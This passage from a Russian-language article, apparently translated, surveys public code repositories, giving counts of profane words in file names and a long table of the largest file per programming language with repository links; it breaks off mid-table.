большое количество таких файлов, они пишут так много кода, что процент ругательств теряется в общем количестве. Однако довольно ясно, что у разработчиков Dart есть в арсенале пару словечек! Если знаете кого-то из программистов на Dart, можете пожать ему руку. Также хочется узнать, какие наиболее часто используемые ругательства. Давайте посмотрим на общий грязный коллективный ум. Некоторые из лучших, которые я нашёл, были нормальными именами (если прищуриться), но большинство остальных, безусловно, вызовет удивление у коллег и несколько комментариев в пул-реквестах. | Слово | Количество | | --- | --- | | ass | 11 358 | | knob | 10 368 | | balls | 8001 | | xxx | 7205 | | sex | 5021 | | nob | 3385 | | pawn | 2919 | | hell | 2819 | | crap | 1112 | | anal | 950 | | snatch | 885 | | fuck | 572 | | poop | 510 | | cox | 476 | | shit | 383 | | lust | 367 | | butt | 265 | | bum | 151 | | bugger | 132 | | pron | 121 | | cum | 118 | | cok | 112 | | damn | 105 | Обратите внимание, что некоторые из более оскорбительных слов в списке действительно имели соответствующие имена файлов, что я нахожу довольно шокирующим. К счастью, они не очень распространены и не вошли в список выше, который ограничен файлами с количеством более 100. Надеюсь, что эти файлы существуют только для тестирования списков разрешить/запретить и тому подобное. Самые большие файлы по количеству строк на каждом языке ======================================================= Как и ожидалось, верхние позиции занимают plaintext, SQL, XML, JSON и CSV: они обычно содержат метаданные, дампы БД и тому подобное. Примечание. Некоторые из приведённых ниже ссылок могут не сработать из-за некоторой лишней информации при создании файлов. Большинство должно работать, но для некоторых может потребоваться чуть подредактировать URL-адрес. **Полный список** | Язык | Имя файла | Строк | | --- | --- | --- | | Plain Text | [1366100696temp.txt](https://github.com/igorshing/flow/blob/master/data/1366100696temp.txt) | 347 671 811 | | PHP | [phpfox\_error\_log\_04\_04\_12\_3d4b11f6ee2a89fd5ace87c910cee04b.php](https://github.com/aadityajs/keylinkz/blob/master/file/log/phpfox_error_log_04_04_12_3d4b11f6ee2a89fd5ace87c910cee04b.php) | 121 930 973 | | HTML | [yo.html](https://github.com/vanbug/codes/blob/master/yo.html) | 54 596 752 | | LEX | [l](https://github.com/phoenixiizero/snes9x-3d/blob/master/gtk/l) | 39 743 785 | | XML | [dblp.xml](https://bitbucket.com/mellson/dblp-statistics/src/master/SBDM%20Exercise%202/dblp.xml) | 39 445 222 | | Autoconf | [21-t2.in](https://github.com/rubusch/usi-compilers/blob/master/082__compiler/testsrepo/04while/21-t2.in) | 33 526 784 | | CSV | [ontology.csv](https://github.com/allisonbmccoy/smart-summarization/blob/master/knowledgebases/ontology.csv) | 31 946 031 | | Prolog | [top500\_full.p](https://github.com/jrvalcourt/salary-prediction/blob/master/temp/top500_full.p) | 22 428 770 | | JavaScript | [mirus.js](https://bitbucket.com/eternum/rails-facebook-webgl/src/master/app/assets/three/mirus.js) | 22 023 354 | | JSON | [douglasCountyVoterRegistration.json](https://github.com/nicknisi/safeomaha-data/blob/master/formatted_data/douglasCountyVoterRegistration.json) | 21 104 668 | | Game Maker Language | [lg.gml](https://github.com/shajain/i590project/blob/master/lgEvans/lg.gml) | 13 302 632 | | C Header | [trk6data.h](https://github.com/alinefr/netcat-cpi-kernel-module/blob/master/tracks/trk6data.h) | 13 025 371 | | Objective C++ | [review-1.mm](https://bitbucket.com/vanghdi/yelp/src/master/data/yelp/review-1.mm) | 12 788 052 | | SQL | [newdump.sql](https://github.com/rigidus/bzzr/blob/master/newdump.sql) | 11 595 909 | | Patch | [clook\_iosched-team01.patch](https://github.com/lnava/cs411g1/blob/master/clook_iosched-team01.patch) | 10 982 879 | | YAML | [data.yml](https://github.com/cclausen/communtu/blob/master/db/data.yml) | 10 764 489 | | SVG | [large-file.svg](https://github.com/ruby-gnome2/ruby-gnome2/blob/master/rsvg2/test/tmp/large-file.svg) | 10 485 763 | | Sass | [large\_empty.scss](https://bitbucket.com/abegarcia/lifyember/src/master/node_modules/node-sass/libsass/sass-spec/spec/benchmarks/large_empty.scss) | 10 000 000 | | Assembly | [J.s](https://github.com/bogwonch/thesis/blob/master/MIPS/1-INST-JMP/J.s) | 8 388 608 | | LaTeX | [tex](https://github.com/zbhappy/c/blob/master/file/tex) | 8 316 556 | | C++ Header | [primpoly\_impl.hh](https://github.com/algotrust/qmlib/blob/master/include/qmlib/math/random/impl/primpoly_impl.hh) | 8 129 599 | | Lisp | [simN.lsp](https://github.com/ayoub-89/nltk_data/blob/master/corpora/lin_thesaurus/simN.lsp) | 7 233 972 | | Perl | [aimlCore3.pl](https://github.com/logicmoo/jellyfish/blob/master/temp/aimlCore3.pl) | 6 539 759 | | SAS | [output.sas](https://github.com/herry13/fdt/blob/master/benchmark/cloud/cloud.old2/output.sas) | 5 874 153 | | C | [CathDomainDescriptionFile.v3.5.c](https://github.com/anumq/protein/blob/master/Imp6/sourceFiles/CathDomainDescriptionFile.v3.5.c) | 5 440 052 | | Lua | [giant.lua](https://github.com/nan0meter/helix/blob/master/Content/Scenes/giant/giant.lua) | 5 055 019 | | R | [disambisearches.R](https://bitbucket.com/richardberendsen/rdwps/src/master/R/disambisearches.R) | 4 985 492 | | MUMPS | [ref.mps](https://bitbucket.com/dzhang50/gpm/src/master/spec2006/450.soplex/ref.mps) | 4 709 289 | | HEX | [combine.hex](https://bitbucket.com/bcforres/18545/src/master/roms/bin/combine.hex) | 4 194 304 | | Python | [mappings.py](https://github.com/anirudhvenkats/clowdflows/blob/master/workflows/segmine/data/mappings.py) | 3 064 594 | | Scheme | [atomspace.scm](https://github.com/cosmoharrigan/test-datasets/blob/master/pln/tuffy/smokes/tests/03-08-14/atomspace.scm) | 3 027 366 | | C++ | [Int.cpp](https://github.com/arandur/prog3b/blob/master/src/Int.cpp) | 2 900 609 | | Properties File | [nuomi\_active\_user\_ids.properties](https://github.com/gunner14/old_rr_code/blob/master/java_workplace/sns-xiaonei/xiaonei-guide/trunk/src/main/resources/nuomi_active_user_ids.properties) | 2 747 671 | | Alex | [Dalek.X](https://bitbucket.com/brendenl92/coldest-steeliest/src/master/Cold%20Steel/Release/media/Models/Dalek.X) | 2 459 209 | | TCL | [TCL](https://github.com/pdsteele/socialnetworksproject/blob/master/datasets/TCL) | 2 362 970 | | Ruby | [smj\_12\_2004.rb](https://github.com/bonifacefr/oddborg-1/blob/master/ext/fiparse/test/data/smj_12_2004.rb) | 2 329 560 | | Wolfram | [hmm.nb](https://github.com/liei/shoebox/blob/master/hmm.nb) | 2 177 422 | | Brainfuck | [BF](https://github.com/bletchley13/signature-based-malware-detection/blob/master/FFBloomFilter/BF) | 2 097 158 | | TypeScript | [all\_6.ts](https://github.com/selbst/handy-chem/blob/master/HandwritingV010/testingcharacters/0/all_6.ts) | 1 997 637 | | Module-Definition | [matrix.def](https://github.com/fukayatsu/kani_acid/blob/master/lib/mecab-naist-jdic/matrix.def) | 1 948 817 | | LESS | [less](https://github.com/er2/euler/blob/master/less) | 1 930 356 | | Objective C | [faster.m](https://github.com/chinnabommu/computervisionwip/blob/master/imports/fast/fast-matlab-src-2.1/faster.m) | 1 913 966 | | Org | [default.org](https://github.com/dyfeng/linuxscripts/blob/master/sogou_dict_import/default.org) | 1 875 096 | | Jupyter | [ReHDDM — AllGo sxFits-Copy0.ipynb](https://github.com/dunovank/pynb/blob/master/RADD/RADD/Proactive/ProHDDM/X/ReHDDM%20-%20AllGo%20sxFits-Copy0.ipynb) | 1 780 197 | | Specman e | [twitter.e](https://github.com/yecol/yecolhubio/blob/master/twitter/twitter.e) | 1 768 135 | | F\* | [Pan\_troglodytes\_monomers.fst](https://gitlab.com/projet_alphasat/projet_alphasat/blob/master/Pan_troglodytes_monomers.fst) | 1 739 878 | | Systemd | [video\_clean\_lower\_tokenized.target](https://github.com/cocoxu/shakespeare/blob/master/models/Translators/video_corpus_baseline/data/video_clean_lower_tokenized.target) | 1 685 570 | | V | [ImageMazeChannelValueROM.v](https://github.com/thepedestrian/fpga-simple-maze-game-using-vga-output/blob/master/SRC/FPGA-Verilog-Code/ImageMazeChannelValueROM.v) | 1 440 068 | | Markdown | [eukaryota.md](https://github.com/subjectraw/subjectraw/blob/master/subject/data/eng/eukaryota.md) | 1 432 161 | | TeX | [japanischtest.tex](https://github.com/rogerbraun/wadoku-scripts/blob/master/japanischtest.tex) | 1 337 456 | | Forth | [europarl.tok.fr](https://github.com/mar-one/machine-trans-shared-task/blob/master/data/corpus/europarl.tok.fr) | 1 288 074 | | Shell | [add\_commitids\_to\_src.sh](https://github.com/jcs/openbsd-commitid/blob/master/out/add_commitids_to_src.sh) | 1 274 873 | | SKILL | [hijacked.il](https://github.com/jacktsai/tos/blob/master/9.13/Assembly-CSharp/hijacked.il) | 1 187 701 | | CSS | [7f116c3.css](https://github.com/pligo/icantgo/blob/master/web/css/7f116c3.css) | 1 170 216 | | C# | [Form1.cs](https://github.com/sdanil/test/blob/master/Form1.cs) | 1 140 480 | | gitignore | [.gitignore](https://github.com/arikanu/harpy/blob/master/harpy/.gitignore) | 1 055 167 | | Boo | [3.out.tex](https://github.com/ph111p/bwinf_2014_runde2/blob/master/Aufgabe_1/3.out.tex) | 1 032 145 | | Java | [Monster.java](https://github.com/castlely/compiler_tiger_lab1/blob/master/test/Monster.java) | 1 000 019 | | ActionScript | [as](https://github.com/tarzzz/ds/blob/master/linked-list/as) | 1 000 000 | | MSBuild | [train.props](https://github.com/chrisleewashere/swirl-osx/blob/master/corpus/train.props) | 989 860 | | D | [D](https://github.com/khalefa/dataset/blob/master/D) | 883 308 | | Coq | [CompiledDFAs.v](https://bitbucket.com/mpettersson/reinsverifier/src/master/REINS/CompiledDFAs.v) | 873 354 | | Clojure | [raw-data.clj](https://github.com/candera/cs-atom/blob/master/raw-data.clj) | 694 202 | | Swig | [3DEditor.i](https://bitbucket.com/roman_shafeyev/navsystem/src/master/workspace/NavCenter/3DEditor/3DEditor.i) | 645 117 | | Happy | [y](https://github.com/symbolicpower/perceptrondict/blob/master/y) | 624 673 | | GLSL | [capsid.vert](https://github.com/aminems/opendwarfs/blob/master/test/n-body-methods/gem/capsid.vert) | 593 618 | | Verilog | [pipeline.vg](https://github.com/sammsiontir/eecs470_superernie/blob/master/synth_report_0420/pipeline.vg) | 578 418 | | Standard ML (SML) | [Ambit3-HRVbutNoHR.sml](https://github.com/amtriathlon/goldencheetah/blob/master/test/rides/Ambit3-HRVbutNoHR.sml) | 576 071 | | SystemVerilog | [bitcoinminer.v](https://gitlab.com/andresavilas/ece337project/blob/master/mapped/bitcoinminer.v) | 561 974 | | Visual Basic | [linqStoreProcs.designer.vb](https://bitbucket.com/mscalella/pronto/src/master/BussinessLogic/linqStoreProcs.designer.vb) | 561 067 | | Go | [info.go](https://github.com/reusee/go-qt/blob/master/smoke_info/info.go) | 559 236 | | Expect | [Argonne\_hourly\_dewpoint.exp](https://github.com/jalwes/30_year_average/blob/master/Argonne_Hourly_Data/Argonne_hourly_dewpoint.exp) | 552 269 | | Erlang | [sdh\_analogue\_data.erl](https://github.com/siteview/erlide/blob/master/com.siteview.kernel.core/modules/nnsdh/sdh_analogue_data.erl) | 473 924 | | Makefile | [Makefile](https://github.com/kssanath/ece497/blob/master/qt-everywhere-opensource-src-4.6.2/src/3rdparty/webkit/WebCore/Makefile) | 462 433 | | QML | [2005.qml](https://github.com/kasra-hosseini/obspydmt/blob/master/obspyDMT/gcmt_catalog/COMBO/2005.qml) | 459 113 | | SPDX | [linux-coreos.spdx](https://github.com/triplecheck/misc/blob/master/misc_spdx/linux-coreos.spdx) | 444 743 | | VHDL | [cpuTest.vhd](https://github.com/mbarga/archive-cpu/blob/master/mapped/cpuTest.vhd) | 442 043 | | ASP.NET | [AllProducts.aspx](https://github.com/claq2/lcbodrinkfinder/blob/master/TestLcbo/AllProducts.aspx) | 438 423 | | XML Schema | [AdvanceShipNotices.xsd](https://github.com/dvhill/impengineering/blob/master/xsd/rsx/7.4.1/856/AdvanceShipNotices.xsd) | 436 055 | | Elixir | [gene.train.with.rare.ex](https://github.com/lulance/courseranlangp/blob/master/h1-p/gene.train.with.rare.ex) | 399 995 | | Macromedia eXtensible Markup Language | [StaticFlex4PerformanceTest20000.mxml](https://bitbucket.com/jackcviers/flex-3-flex-4-performance-test/src/master/Flex4PerformanceTest/src/StaticFlex4PerformanceTest20000.mxml) | 399 821 | | Ada | [bmm\_top.adb](https://github.com/raghup17/bmm/blob/master/hls/bmm_top/solution1/.autopilot/db/bmm_top.adb) | 390 275 | | TypeScript Typings | [dojox.d.ts](https://github.com/vansimke/dojotypedescriptiongenerator/blob/master/DojoTypeDescriptor/Scripts/typings/dojox.d.ts) | 384 171 | | Pascal | [FHIR.R4.Resources.pas](https://github.com/grahamegrieve/fhirserver/blob/master/library/r4/FHIR.R4.Resources.pas) | 363 291 | | COBOL | [cpy](https://github.com/nesl/scpi-scripts/blob/master/kei/cpy) | 358 745 | | Basic | [excel-vba-streams-#1.bas](https://github.com/jcorrius/go-oo-mingw32-soc/blob/master/test/macro/vba_streams/excel-vba-streams-#1.bas) | 333 707 | | Visual Basic for Applications | [Dispatcher.cls](https://github.com/franc90/furnacedriver/blob/master/FurnaceDriver/FurnaceDriver_rpy/Default/Dispatcher.cls) | 332 266 | | Puppet | [main\_110.pp](https://github.com/malkia/multi_msvcrt/blob/master/main_110.pp) | 314 217 | | FORTRAN Legacy | [f](https://github.com/yinyanghu/dmar/blob/master/Code/SVM/resultsX/f) | 313 599 | | OCaml | [Pent.ML](https://github.com/merelyapseudonym/afp/blob/master/thys/Flyspeck-Tame/Archives/Pent.ML) | 312 749 | | FORTRAN Modern | [slatec.f90](https://github.com/johannesgerer/jburkardt-f/blob/master/slatec/slatec.f90) | 298 677 | | CoffeeScript | [dictionary.coffee](https://github.com/cherifya/letterpresser/blob/master/js/dictionary.coffee) | 271 378 | | Nix | [hackage-packages.nix](https://github.com/edolstra/nixpkgs/blob/master/pkgs/development/haskell-modules/hackage-packages.nix) | 259 940 | | Intel HEX | [epdc\_ED060SCE.fw.ihex](https://github.com/giorgio130/linux-2635-kobo-multitouch/blob/master/firmware/imx/epdc_ED060SCE.fw.ihex) | 253 836 | | Scala | [models\_camaro.sc](https://github.com/nette22/threeflowjs/blob/master/examples/renders/models_camaro.sc) | 253 559 | | Julia | [*IJulia 0*.jl](https://github.com/carljv/bayescomp/blob/master/src/julia/*IJulia%200*.jl) | 221 058 | | SRecode Template | [espell.srt](https://github.com/malex984/mysettings/blob/master/.epsilon/espell.srt) | 216 243 | | sed | [CSP-2004fe.SED](https://github.com/sncosmo/sncosmohubio/blob/master/data/models/pierel/CSP-2004fe.SED) | 214 290 | | ReStructuredText | [S40HO033.rst](https://github.com/ledmonster/japanese-law/blob/master/doc/S40/S40HO033.rst) | 211 403 | | Bosque | [world\_dem\_5arcmin\_geo.bsq](https://github.com/jalbertbowden/world-data/blob/master/world-dem-5-arcmin/world_dem_5arcmin_geo.bsq/world_dem_5arcmin_geo.bsq) | 199 238 | | Emacs Lisp | [ubermacros.el](https://github.com/cmungall/uberon/blob/master/util/ubermacros.el) | 195 861 | | F# | [Ag\_O1X5.5\_O2X0.55.eam.fs](https://bitbucket.com/akohlmey/lammps/src/master/examples/USER/misc/momb/Ag_O1X5.5_O2X0.55.eam.fs) | 180 008 | | GDScript | [72906.gd](https://github.com/hugo53/vinearts/blob/master/giaoduc.net.vn/Xa-hoi/Chum-anh-Phat-hien-chan-dong-tai-chua-Dam-Bac-Ninh/72906.gd) | 178 628 | | Gherkin Specification | [feature](https://github.com/czlyc/2c-web-research/blob/master/data/raw/8/feature) | 175 229 | | Haskell | [Excel.hs](https://github.com/jjinkou2/agentcom/blob/master/Excel.hs) | 173 039 | | Dart | [surnames\_list.dart](https://github.com/mattliberty/wordgen/blob/master/source/surnames_list.dart) | 153 144 | | Bazel | [matplotlib\_1.3.1-1\_amd64-20140427-1441.build](https://github.com/nonas/debian-clang/blob/master/tests/build_timeout/buildlogs/run1/matplotlib_1.3.1-1_amd64-20140427-1441.build) | 149 234 | | Haxe | [elf-x86id.hx](https://github.com/ivideo/easytake/blob/master/FFmpeg-iOS-Encoder-master/hahah/ffmpeg-iOS/yasm-1.1.0/results/elf-x86id.hx) | 145 800 | | IDL | [all-idls.idl](https://github.com/brownplt/strobe/blob/master/data/all-idls.idl) | 129 435 | | LD Script | [kernel\_partitions.lds](https://github.com/t-crest/ospat/blob/master/misc/ldscripts/patmos/prep/kernel_partitions.lds) | 127 187 | | Monkey C | [LFO\_BT1-point.mc](https://github.com/jlesniewski/pycrysfml/blob/master/hklgen/LFO/M3/LFO_BT1-point.mc) | 120 881 | | Modula3 | [tpch22.m3](https://github.com/damsl/k3-mosaic/blob/master/tests/m3/tpch22.m3) | 120 185 | | Batch | [EZhunter.cmd](https://github.com/malific/script-shop/blob/master/EZhunter.cmd) | 119 341 | | Rust | [data.rs](https://github.com/jankeromnes/gecko-dev/blob/master/third_party/rust/encoding_rs/src/data.rs) | 114 408 | | Ur/Web | [dict.ur-en.ur](https://github.com/deepuiitk/indian-parallel-corpora/blob/master/ur-en/tok/dict.ur-en.ur) | 113 911 | | Unreal Script | [orfs.derep\_id97.uc](https://github.com/polyatail/scher_et_al_2013/blob/master/Figure_3/Panel_C/orfs.derep_id97.uc) | 110 737 | | Groovy | [groovy](https://bitbucket.com/nfredricks/vim-files/src/master/tags/groovy) | 100 297 | | Smarty Template | [assign.100000.tpl](https://github.com/rodneyrehm/php-template-engines/blob/master/test/tests/smarty3/templates/assign.100000.tpl) | 100 002 | | Bitbake | [bb](https://github.com/kellyhou/clientserver/blob/master/Examples/sys_net/io/bb) | 100 000 | | BASH | [palmer-master-thesis.bash](https://github.com/palmer-dabbelt/tek/blob/master/test/tek/palmer-master-thesis.bash) | 96 911 | | PSL Assertion | [test\_uno.psl](https://github.com/khayer/blat_parser/blob/master/lib/blat_parser/test_uno.psl) | 96 253 | | ASP | [sat\_gbie\_01.asp](https://github.com/grote/oclingo/blob/master/tests/gbie/instances/sat_gbie_01.asp) | 95 144 | | Protocol Buffers | [select1.proto](https://github.com/burrows-labs/sqllogictest/blob/master/proto/select1.proto) | 89 796 | | Report Definition Language | [ACG.rdl](https://github.com/vinhdoan/angroupdemo/blob/master/Reports/ACG.rdl) | 84 666 | | Powershell | [PresentationFramework.ps1](https://github.com/dwj7738/my-powershell-repository/blob/master/Modules/WPK/GeneratedControls/PresentationFramework.ps1) | 83 861 | | Jinja | [jinja2](https://github.com/truebluedata/chakravyuhaiiitd/blob/master/jinja2) | 76 040 | | AWK | [words-large.awk](https://github.com/apurtell/llvm-test-suite/blob/master/MultiSource/Benchmarks/MallocBench/perl/INPUT/words-large.awk) | 69 964 | | LOLCODE | [lol](https://github.com/eldog/fface/blob/master/src/fsort/lol) | 67 520 | | Wren | [reuse\_constants.wren](https://github.com/munificent/wren/blob/master/test/limit/reuse_constants.wren) | 65 550 | | JSX | [AEscript.jsx](https://github.com/imclab/drawgrid/blob/master/scripts/AEscript.jsx) | 65 108 | | Rakefile | [seed.rake](https://github.com/vajapravin/pokemon_rails/blob/master/lib/tasks/seed.rake) | 63 000 | | Stata | [.31113.do](https://github.com/funzelknut/migrationsvariable/blob/master/Stata/DoFile/Logic/combinations/.31113.do) | 60 343 | | Vim Script | [ddk.vim](https://github.com/yuratomo/cpp-api-ddk/blob/master/autoload/cppapi/ddk.vim) | 60 282 | | Swift | [Google.Protobuf.UnittestEnormousDescriptor.proto.swift](https://github.com/alexeyxo/protobuf-swift/blob/master/plugin/Tests/pbTests/Google.Protobuf.UnittestEnormousDescriptor.proto.swift) | 60 236 | | Korn Shell | [attachment-0002.ksh](https://github.com/ggouaillardet/ompi-www/blob/master/community/lists/devel/attachments/20090617/3f35b1fc/attachment-0002.ksh) | 58 298 | | AsciiDoc | [index.adoc](https://github.com/cafe008/spring-framework/blob/master/src/asciidoc/index.adoc) | 52 627 | | Freemarker Template | [designed.eml.ftl](https://github.com/livesense/orglivesensesamplesimpleportal/blob/master/src/main/resources/apps/simpleportal/htmlmail/designed.eml.ftl) | 52 160 | | Cython | [CALC.pex.netlist.CALC.pxi](https://github.com/szeng2013/eecs392/blob/master/391_Project/CALC/CALC.pex.netlist.CALC.pxi) | 50 283 | | m4 | [ax.m4](https://github.com/tjgiese/atizer/blob/master/python/atizer/m4/m4/ax.m4) | 47 828 | | Extensible Stylesheet Language Transformations | [green\_ccd.xslt](https://github.com/cmps290t/cmps290t/blob/master/templates/green_ccd.xslt) | 37 247 | | License | [copyright](https://github.com/xnox/android/blob/master/copyright) | 37 205 | | JavaServer Pages | [1MB.jsp](https://github.com/julien1990/wtp-sourceediting/blob/master/tests/org.eclipse.jst.jsp.ui.tests.performance/data/1MB.jsp) | 36 007 | | Document Type Definition | [bookmap.dtd](https://github.com/braunoeder/yesodcms/blob/master/dita/dtd/bookmap/dtd/bookmap.dtd) | 32 815 | | Fish | [Godsay.fish](https://gitlab.com/mitzip/fish-config/blob/master/functions/Godsay.fish) | 31 112 | | ClojureScript | [core.cljs](https://github.com/timvisher/painful-clojurescript-compilation/blob/master/src/painful_clojurescript_compilation/core.cljs) | 31 013 | | Robot Framework | [robot](https://github.com/tomasz-kucharski/robocode/blob/master/doc/src_OpenGL/robot) | 30 460 | | Processing | [data.pde](https://github.com/bombilee/nxv11/blob/master/LidarSpoofing/data.pde) | 30 390 | | Ruby HTML | [big\_table.rhtml](https://github.com/vijedi/javascript_framework_test/blob/master/app/views/home/big_table.rhtml) | 29 306 | | ColdFusion | [spreadsheet2009Q1.cfm](https://github.com/llimllib/personal_code/blob/master/web/bnia/data/spreadsheet2009Q1.cfm) | 27 974 | | CMake | [ListOfVistARoutines.cmake](https://github.com/luisibanez/vista-debian-med-package/blob/master/CMake/ListOfVistARoutines.cmake) | 27 550 | | ATS | [test06.dats](https://github.com/ashalkhakov/ats-postiats/blob/master/npm-utils/contrib/libats-/hwxi/Andes/TEST/test06.dats) | 24 350 | | Nim | [windows.nim](https://github.com/renox/nimrod/blob/master/lib/windows/windows.nim) | 23 949 | | Vue | [Ogre.vue](https://github.com/deepfire/tech/blob/master/Ogre.vue) | 22 916 | | Razor | [validationerror.cshtml](https://github.com/agglerithm/readathonentry/blob/master/src/ReadAThonEntry/Views/Home/validationerror.cshtml) | 22 832 | | Spice Netlist | [input6.ckt](https://github.com/danielsig727/dcs_labs/blob/master/DCS_FinalProject/input6.ckt) | 22 454 | | Isabelle | [WooLam\_cert\_auto.thy](https://github.com/jshs/scyther-proof/blob/master/experiments/effect_of_reuse_and_minimization/output_FN/WooLam_cert_auto.thy) | 22 312 | | XAML | [SymbolDrawings.xaml](https://github.com/tomba/dwarrowdelf/blob/master/Tests/WPFMapControlTest/SymbolDrawings.xaml) | 20 764 | | Opalang | [p4000\_g+5.0\_m0.0\_t00\_st\_z+0.00\_a+0.00\_c+0.00\_n+0.00\_o+0.00\_r+0.00\_s+0.00.opa](https://github.com/kevtron/uniformsphere/blob/master/sample_data/p4000_g+5.0_m0.0_t00_st_z+0.00_a+0.00_c+0.00_n+0.00_o+0.00_r+0.00_s+0.00.opa) | 20 168 | | TOML | [too\_large.toml](https://github.com/karupanerura/toml-parser/blob/master/xt/toml/too_large.toml) | 20 000 | | Madlang | [evgg.mad](https://github.com/cesarotti/dark-photons/blob/master/madgraph/madgraph_binaries/vendor/StdHEP/example/evgg.mad) | 19 416 | | Stylus | [test.styl](https://bitbucket.com/johanneskoch/interaktionskoll-client/src/master/node_modules/stylus-brunch/node_modules/stylus/testing/test.styl) | 19 127 | | Go Template | [html-template.tmpl](https://github.com/jtimothyking/perl6-bench/blob/master/data/html-template.tmpl) | 19 016 | | AutoHotKey | [glext.ahk](https://github.com/tinku99/ahk-hello-gl-ch2/blob/master/glext.ahk) | 18 036 | | ColdFusion CFScript | [IntakeHCPCIO.cfc](https://github.com/mfgglobalsolutions/collectmed/blob/master/collectmed1.0/CustomTags/com/common/db/IntakeHCPCIO.cfc) | 17 606 | | Zsh | [\_oc.zsh](https://github.com/voronenko/dotfiles/blob/master/completions/_oc.zsh) | 17 307 | | Twig Template | [show.html.twig](https://github.com/terokaisti/elfinderbundle/blob/master/src/AlphaLemon/ElFinderBundle/Resources/views/ElFinder/show.html.twig) | 16 320 | | ABAP | [ZRIM01F01.abap](https://github.com/yetaai/sap/blob/master/ZIM2Reports/ZRIM01F01.abap) | 16 029 | | Elm | [57chevy.elm](https://github.com/frankyn/csgraphics-fall13/blob/master/project1/data/viewpoint/57chevy.elm) | 14 968 | | Kotlin | [\_Arrays.kt](https://github.com/jetbrains/kotlin/blob/master/libraries/stdlib/common/src/generated/_Arrays.kt) | 14 396 | | Varnish Configuration | [40\_generic\_attacks.vcl](https://github.com/aureq/securityvcl/blob/master/vcl/breach/40_generic_attacks.vcl) | 13 367 | | Mustache | [huge.mustache](https://github.com/financial-times/o-table/blob/master/demos/src/huge.mustache) | 13 313 | | Alloy | [output.als](https://github.com/epintos/fajita/blob/master/fajita/result/unroll_2/tacoOutput/output.als) | 12 168 | | Device Tree | [tegra132-flounder-emc.dtsi](https://gitlab.com/mac/android_kernel_htc_flounder/blob/master/arch/arm64/boot/dts/tegra132-flounder-emc.dtsi) | 11 893 | | MQL4 | [PhD Appsolute System.mq4](https://github.com/lvcster/java-examples/blob/master/PhD%20Appsolute%20System.mq4) | 11 280 | | Jade | [fugue.jade](https://github.com/ernesto-licea/basictheme/blob/master/views/basic/images/icons/fugue.jade) | 10 711 | | Q# | [in\_navegador.qs](https://github.com/afibanez/eneboo-modules/blob/master/direccion/analisis/scripts/in_navegador.qs) | 10 025 | | JSONL | [train.jsonl](https://github.com/aneeshmg/python/blob/master/NLP-TextEntailment/data/train.jsonl) | 10 000 | | Flow9 | [graph2.flow](https://github.com/hitchiker42/my-code/blob/master/cs758/asst-11/graph2.flow) | 9902 | | Vala | [mwp.vala](https://github.com/stronnag/mwptools/blob/master/mwp/mwp.vala) | 8765 | | Handlebars | [theme.scss.hbs](https://github.com/jonschlinkert/liquid-to-handlebars/blob/master/test/expected/shopify-narrative/assets/theme.scss.hbs) | 8259 | | Crystal | [CR](https://github.com/000861/openfoam-21x/blob/master/tutorials/combustion/PDRFoam/flamePropagationWithObstacles/0/CR) | 8084 | | C Shell | [plna.csh](https://gitlab.com/bgcx262/zswi2010-svn-to-git/blob/master/trunk/data/plna.csh) | 8000 | | Hamlet | [hamlet](https://github.com/aliced3645/os/blob/master/weenix/user/hamlet) | 7882 | | BuildStream | [biometrics.bst](https://github.com/mrzork/proyectomaestria/blob/master/Final/Cites/Biometrics/biometrics.bst) | 7746 | | Mako | [verificaciones.mako](https://github.com/daniel2101/verificaciones/blob/master/report/verificaciones.mako) | 7306 | | Agda | [Pifextra.agda](https://github.com/zsparks/pi-dual/blob/master/Univalence/Obsolete/Pifextra.agda) | 6483 | | Thrift | [concourse.thrift](https://github.com/cinchapi/concourse/blob/master/interface/concourse.thrift) | 6471 | | Fragment Shader File | [ms812\_bseqoslabel\_l.fsh](https://github.com/jcamposr/wis20/blob/master/Simplex/ms812_bseqoslabel_l.fsh) | 6269 | | Cargo Lock | [Cargo.lock](https://github.com/mozilla/servo/blob/master/Cargo.lock) | 6202 | | Xtend | [UMLSlicerAspect.xtend](https://github.com/arnobl/kompren/blob/master/kompren-examples/examples.umlFootprinting/src/main/java/umlfootprinter/UMLSlicerAspect.xtend) | 5936 | | Arvo | [test-extra-large.avsc](https://github.com/scaleunlimited/cascadingavro/blob/master/scheme/src/test/resources/cascading/avro/test-extra-large.avsc) | 5378 | | Scons | [SConstruct](https://github.com/dxx-rebirth/dxx-rebirth/blob/master/SConstruct) | 5272 | | Closure Template | [buckconfig.soy](https://github.com/facebook/buck/blob/master/docs/files-and-dirs/buckconfig.soy) | 5189 | | GN | [BUILD.gn](https://github.com/v8/v8/blob/master/BUILD.gn) | 4653 | | Softbridge Basic | [owptext.sbl](https://gitlab.com/bgcx261/znos-git/blob/master/build/usr/octopus/port/live/owptext.sbl) | 4646 | | PKGBUILD | [PKGBUILD](https://bitbucket.com/axil42/aur-mirror/src/master/stepmania-extras/PKGBUILD) | 4636 | | Oz | [StaticAnalysis.oz](https://github.com/aglie/mozart2/blob/master/lib/compiler/StaticAnalysis.oz) | 4500 | | Lucius | [bootstrap.lucius](https://github.com/dsmatter/timetracker/blob/master/templates/bootstrap.lucius) | 3992 | | Ceylon | [RedHatTransformer.ceylon](https://github.com/ceylon/ceylonast/blob/master/source/ceylon/ast/redhat/RedHatTransformer.ceylon) | 3907 | | Creole | [MariaDB\_Manager\_Monitors.creole](https://github.com/bsmr-mariadb/mariadb-manager-monitor/blob/master/MariaDB_Manager_Monitors.creole) | 3855 | | Luna | [Base.luna](https://github.com/luna/luna/blob/master/stdlib/Std/src/Base.luna) | 3731 | | Gradle | [dependencies.gradle](https://github.com/jasig/cas/blob/master/gradle/dependencies.gradle) | 3612 | | MQL Header | [IncGUI.mqh](https://github.com/ro31337/romanpushkin-dailygrid/blob/master/IncGUI.mqh) | 3544 | | Cabal | [smartword.cabal](https://github.com/keqh-remote/cabals-mirror/blob/master/smartword.cabal) | 3452 | | Emacs Dev Env | [ede](https://github.com/a3090103838/emacs-24-mac/blob/master/info/ede) | 3400 | | Meson | [meson.build](https://github.com/keruspe/systemd/blob/master/meson.build) | 3264 | | nuspec | [Npm.js.nuspec](https://github.com/giggio/npm-nuget/blob/master/Npm.js.nuspec) | 2823 | | Game Maker Project | [LudumDare.yyp](https://github.com/kgs0142/ludum-dare/blob/master/LD40/LudumDare.yyp) | 2679 | | Julius | [default-layout.julius](https://github.com/ahushh/monaba/blob/master/monaba/templates/default-layout.julius) | 2454 | | Idris | [ring\_reduce.idr](https://github.com/francks/ringidris/blob/master/Provers/ring_reduce.idr) | 2434 | | Alchemist | [out.lmf-dos.crn](https://github.com/nim-hrkn/ecalj/blob/master/TestInstall/crn/out.lmf-dos.crn) | 2388 | | 